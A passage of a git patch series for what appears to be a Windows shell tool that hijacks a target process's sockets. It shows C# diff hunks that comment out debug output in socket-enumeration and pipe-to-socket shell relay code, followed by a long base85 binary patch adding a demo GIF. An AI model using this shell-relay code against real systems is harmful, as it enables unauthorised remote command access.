tcpInfoV0.BytesOut.ToString()); + // Console.WriteLine("debug: Socket handle 0x" + socket.ToString("X4") + " is in tcpstate " + tcpInfoV0.State.ToString() + " total bytes received: " + tcpInfoV0.BytesIn.ToString() + " total bytes sent: " + tcpInfoV0.BytesOut.ToString()); if (tcpInfoV0.State == TcpState.SynReceived || tcpInfoV0.State == TcpState.Established) ret = true; } @@ -562,7 +562,7 @@ public static List GetSocketsTargetProcess(Process targetProcess) { if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)) { // this will avoids deadlocks on special named pipe handles - Console.WriteLine("debug: Deadlock detected"); + // Console.WriteLine("debug: Deadlock detected"); CloseHandle(dupHandle); continue; } @@ -622,7 +622,7 @@ public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) ) { - Console.WriteLine("debug: found inherited socket! handle --> 0x" + duplicatedParentSocket.ToString("X4")); + // Console.WriteLine("debug: found inherited socket! handle --> 0x" + duplicatedParentSocket.ToString("X4")); inherited = true; closesocket(duplicatedParentSocket); break; @@ -644,7 +644,7 @@ private static bool IsSocketOverlapped(IntPtr socket) ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); if (ntStatus != NTSTATUS_SUCCESS) { - Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; + // Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; return ret; } IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); @@ -659,7 +659,7 @@ private static bool IsSocketOverlapped(IntPtr socket) if (ntStatus != NTSTATUS_SUCCESS) { - Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; + // Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; return ret; } if ((contextData.SharedData.CreationFlags & WSA_FLAG_OVERLAPPED) != 0) ret = true; @@ -1138,7 +1138,7 @@ private static void ThreadReadPipeWriteSocket(object threadParams) readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); bytesSent = send(shellSocket, bytesToWrite, bufferSize, 0); } while (bytesSent > 0 && readSuccess); - Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); + // Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); } private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket) @@ -1167,7 +1167,7 @@ private static void ThreadReadSocketWritePipe(object threadParams) nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); } while (nBytesReceived > 0 && writeSuccess); - Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); + // Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); TerminateProcess(hChildProcess, 0); } From eec1305b7a5cdd96896142d01e68fd75e5db4750 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Wed, 16 Jun 2021 22:14:58 +0200 Subject: [PATCH 27/35] Add files via upload --- demo_1.gif | Bin 0 -> 7866294 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 demo_1.gif diff --git a/demo_1.gif b/demo_1.gif new file mode 100644 index 0000000000000000000000000000000000000000..92654e2c3f1d2dd675da8b39f7bb570046095340 GIT binary patch literal 7866294 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 